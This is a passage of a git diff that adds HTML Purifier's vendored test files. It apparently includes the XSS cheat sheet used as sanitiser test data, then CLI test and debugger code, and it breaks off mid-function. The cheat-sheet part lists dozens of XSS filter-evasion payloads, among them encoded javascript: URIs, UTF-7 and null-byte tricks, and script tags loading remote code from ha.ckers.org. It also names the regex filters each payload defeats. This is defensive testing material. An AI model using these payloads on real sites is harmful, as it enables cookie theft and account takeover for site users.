class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Hex Encoding w/out Semicolons + <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> + + Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + UTF-7 Encoding + <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- + + UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Escaping JavaScript escapes + \";alert('XSS');// + Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + End title tag + </TITLE><SCRIPT>alert("XSS");</SCRIPT> + This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + STYLE w/broken up JavaScript + <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> + STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Embedded Tab + <IMG SRC="jav ascript:alert('XSS');"> + Embedded tab to break up the cross site scripting attack. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Embedded Encoded Tab + <IMG SRC="jav&#x09;ascript:alert('XSS');"> + Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Embedded Newline + <IMG SRC="jav&#x0A;ascript:alert('XSS');"> + Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Embedded Carriage Return + <IMG SRC="jav&#x0D;ascript:alert('XSS');"> + Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Multiline w/Carriage Returns + <IMG SRC = " j a v a s c r i p t : a l e r t ( ' X S S ' ) " > + + Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Null Chars 1 + perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out + + Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Null Chars 2 + perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out + + Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Spaces/Meta Chars + <IMG SRC=" &#14; javascript:alert('XSS');"> + Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Non-Alpha/Non-Digit + <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> + Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s" + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Non-Alpha/Non-Digit Part 2 + <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> + Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here. + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + No Closing Script Tag + <SCRIPT SRC=http://ha.ckers.org/xss.js + In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally. + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Protocol resolution in script tags + <SCRIPT SRC=//ha.ckers.org/.j> + This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag. + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Half-Open HTML/JavaScript + <IMG SRC="javascript:alert('XSS')" + Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the "javascript:" directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex: + /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ +As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Double open angle brackets + <IFRAME SRC=http://ha.ckers.org/scriptlet.html < + This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Extraneous Open Brackets + <<SCRIPT>alert("XSS");//<</SCRIPT> + (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Malformed IMG Tags + <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> + Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + No Quotes/Semicolons + <SCRIPT>a=/XSS/ +alert(a.source)</SCRIPT> + No single quotes or double quotes or semicolons. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Event Handlers List 1 + See Below + Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates: + +-FSCommand() (execute from within an embedded Flash object) + +-onAbort() (when user aborts the loading of an image) + +-onActivate() (when object is set as the active element) + +-onAfterPrint() (activates after user prints or previews print job) + +-onAfterUpdate() (activates on data object after updating data in the source object) + +-onBeforeActivate() (fires before the object is set as the active element) + +-onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand("Copy") function) + +-onBeforeCut() (attacker executes the attack string right before a selection is cut) + +-onBeforeDeactivate() (fires right after the activeElement is changed from the current object) + +-onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected) + +-onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function) + +-onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function) + +-onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent) + +-onBegin() (fires immediately when the element's timeline begins) + +-onBlur() (in the case where another popup is loaded and window loses focus) + +-onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window) + +-onCellChange() (fires when data changes in the data provider) + +-onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified) + +-onClick() (fires when someone clicks on a form) + +-onContextMenu() (user would need to right click on attack area) + +-onControlSelect() (fires when the user is about to make a control selection of the object) + +-onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command) + +-onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command) + +-onDataAvailible() (user would need to change data in an element, or attacker could perform the same function) + +-onDataSetChanged() (fires when the data set exposed by a data source object changes) + +-onDataSetComplete() (fires to indicate that all data is available from the data source object) + +-onDblClick() (fires when user double-clicks a form element or a link) + +-onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document) + +-onDrag() (requires that the user drags an object) + +-onDragEnd() (requires that the user drags an object) + +-onDragLeave() (requires that the user drags an object off a valid location) + +-onDragEnter() (requires that the user drags an object into a valid location) + +-onDragOver() (requires that the user drags an object into a valid location) + +-onDragDrop() (user drops an object (e.g. file) onto the browser window) + +-onDrop() (fires when user drops an object (e.g. file) onto the browser window) + + + + Browser support: + + + Event Handlers List 2 + See Below + + -onEnd() (fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">) + +-onError() (loading of a document or image causes an error) + +-onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object) + +-onFilterChange() (fires when a visual filter completes state change) + +-onFinish() (attacker could create the exploit when marquee is finished looping) + +-onFocus() (attacker executes the attack string when the window gets focus) + +-onFocusIn() (attacker executes the attack string when window gets focus) + +-onFocusOut() (attacker executes the attack string when window loses focus) + +-onHelp() (attacker executes the attack string when users hits F1 while the window is in focus) + +-onKeyDown() (fires when user depresses a key) + +-onKeyPress() (fires when user presses or holds down a key) + +-onKeyUp() (fires when user releases a key) + +-onLayoutComplete() (user would have to print or print preview) + +-onLoad() (attacker executes the attack string after the window loads) + +-onLoseCapture() (can be exploited by the releaseCapture() method) + +-onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing) + +-onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem) + +-onMouseDown() (the attacker would need to get the user to click on an image) + +-onMouseEnter() (fires when cursor moves over an object or area) + +-onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again) + +-onMouseMove() (the attacker would need to get the user to mouse over an image or table) + +-onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again) + +-onMouseOver() (fires when cursor moves over an object or area) + +-onMouseUp() (the attacker would need to get the user to click on an image) + +-onMouseWheel() (the attacker would need to get the user to use their mouse wheel) + +-onMove() (user or attacker would move the page) + +-onMoveEnd() (user or attacker would move the page) + +-onMoveStart() (user or attacker would move the page) + +-onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline) + +-onPaste() (user would need to paste or attacker could use the execCommand("Paste") function) + +-onPause() (fires on every element that is active when the timeline pauses, including the body element) + +-onProgress() (attacker would use this as a flash movie was loading) + +-onPropertyChange() (user or attacker would need to change an element property) + +-onReadyStateChange() (user or attacker would need to change an element property) + + + + Browser support: + + + Event Handlers List 3 + See Below + -onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle) + +-onReset() (fires when user or attacker resets a form) + +-onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) + +-onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) + +-onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) + +-onResume() (fires on every element that becomes active when the timeline resumes, including the body element) + +-onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward) + +-onRowEnter() (user or attacker would need to change a row in a data source) + +-onRowExit() (user or attacker would need to change a row in a data source) + +-onRowDelete() (user or attacker would need to delete a row in a data source) + +-onRowInserted() (user or attacker would need to insert a row in a data source) + +-onScroll() (user would need to scroll, or attacker could use the scrollBy() function) + +-onSeek() (fires when the timeline is set to play in any direction other than forward) + +-onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) + +-onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) + +-onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) + +-onStart() (fires at the beginning of each marquee loop) + +-onStop() (user would need to press the stop button or leave the webpage) + +-onSynchRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire) + +-onSubmit() (requires attacker or user submits a form) + +-onTimeError() (fires when user or attacker sets a time property, such as "dur", to an invalid value) + +-onTrackChange() (fires when user or attacker changes track in a playList) + +-onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click) + +-onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) + +-seekSegmentTime() (locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.) + + + + Browser support: + + + Evade Regex Filter 1 + <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> + + For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following regex filter: + /<script[^>]+src/i + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Evade Regex Filter 2 + <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT> + For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter: + /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i + +(this is an important one, because I've seen this regex in the wild) + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Evade Regex Filter 3 + <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> + Another XSS to evade this regex filter: + /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Evade Regex Filter 4 + <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> + Yet another XSS to evade the same filter: + /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i +The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags) + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Evade Regex Filter 5 + <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> + And one last XSS attack (using grave accents) to evade this regex: + /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Filter Evasion 1 + <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> + + This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Filter Evasion 2 + <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> + Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + IP Encoding + <A HREF="http://66.102.7.147/">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + URL Encoding + <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Dword Encoding + <A HREF="http://1113982867/">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Hex Encoding + <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). +The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex digit is not required. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Octal Encoding + <A HREF="http://0102.0146.0007.00000223/">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). +Padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc... + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Mixed Encoding + <A HREF="h tt p://6&#09;6.000146.0x7.147/">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). +The tabs and newlines only work if this is encapsulated with quotes. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Protocol Resolution Bypass + <A HREF="//www.google.com/">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). +Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Firefox Lookups 1 + <A HREF="//google">XSS</A> + Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatenate several keywords by using something like the following "keyword:XSS+RSnake" + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Firefox Lookups 2 + <A HREF="http://ha.ckers.org@google">XSS</A> + This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera. + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Firefox Lookups 3 + <A HREF="http://google:ha.ckers.org">XSS</A> + This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"). + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Removing Cnames + <A HREF="http://google.com/">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). +When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Extra dot for Absolute DNS + <A HREF="http://www.google.com./">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + JavaScript Link Location + <A HREF="javascript:document.location='http://www.google.com/'">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed) +JavaScript link location + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Content Replace + <A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A> + Content replace as an attack vector (assuming "http://www.google.com/" is programmatically replaced with null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (like http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector ("java&#x26;#x09;script:" was converted into "java&#x09;script:". + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + diff --git a/vendor/ezyang/htmlpurifier/tests/CliTestCase.php b/vendor/ezyang/htmlpurifier/tests/CliTestCase.php new file mode 100644 index 00000000..0fc20ef0 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/CliTestCase.php @@ -0,0 +1,88 @@ +_command = $command; + $this->_quiet = $quiet; + $this->_size = $size; + } + public function getLabel() + { + return $this->_command; + } + public function run($reporter) + { + if (!$this->_quiet) $reporter->paintFormattedMessage('Running ['.$this->_command.']'); + return $this->_invokeCommand($this->_command, $reporter); + } + public function _invokeCommand($command, $reporter) + { + $xml = shell_exec($command); + if (! $xml) { + if (!$this->_quiet) { + $reporter->paintFail('Command did not have any output [' . $command . ']'); + } + return false; + } + $parser = $this->_createParser($reporter); + + set_error_handler(array($this, '_errorHandler')); + $status = $parser->parse($xml); + restore_error_handler(); + + if (! $status) { + if (!$this->_quiet) { + foreach ($this->_errors as $error) { + list($no, $str, $file, $line) = $error; + $reporter->paintFail("Error $no: $str on line $line of $file"); + } + if (strlen($xml) > 120) { + $msg = substr($xml, 0, 50) . "...\n\n[snip]\n\n..." . substr($xml, -50); + } else { + $msg = $xml; + } + $reporter->paintFail("Command produced malformed XML"); + $reporter->paintFormattedMessage($msg); + } + return false; + } + return true; + } + public function _createParser($reporter) + { + $parser = new SimpleTestXmlParser($reporter); + return $parser; + } + public function getSize() + { + // This code properly does the dry run and allows for proper test + // case reporting but it's REALLY slow, so I don't recommend it. + if ($this->_size === false) { + $reporter = new SimpleReporter(); + $this->_invokeCommand($this->_command . ' --dry', $reporter); + $this->_size = $reporter->getTestCaseCount(); + } + return $this->_size; + } + public function _errorHandler($a, $b, $c, $d) + { + $this->_errors[] = array($a, $b, $c, $d); // see set_error_handler() + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/Debugger.php b/vendor/ezyang/htmlpurifier/tests/Debugger.php new file mode 100644 index 00000000..87a02adc --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/Debugger.php @@ -0,0 +1,164 @@ +paint($mixed); +} +function paintIf($mixed, $conditional) +{ + $Debugger =& Debugger::instance(); + return $Debugger->paintIf($mixed, $conditional); +} +function paintWhen($mixed, $scopes = array()) +{ + $Debugger =& Debugger::instance(); + return $Debugger->paintWhen($mixed, $scopes); +} +function paintIfWhen($mixed, $conditional, $scopes = array()) +{ + $Debugger =& Debugger::instance(); + return $Debugger->paintIfWhen($mixed, $conditional, $scopes); +} +function addScope($id = false) +{ + $Debugger =& Debugger::instance(); + return $Debugger->addScope($id); +} +function removeScope($id) +{ + $Debugger =& Debugger::instance(); + return $Debugger->removeScope($id); +} +function resetScopes() +{ + $Debugger =& 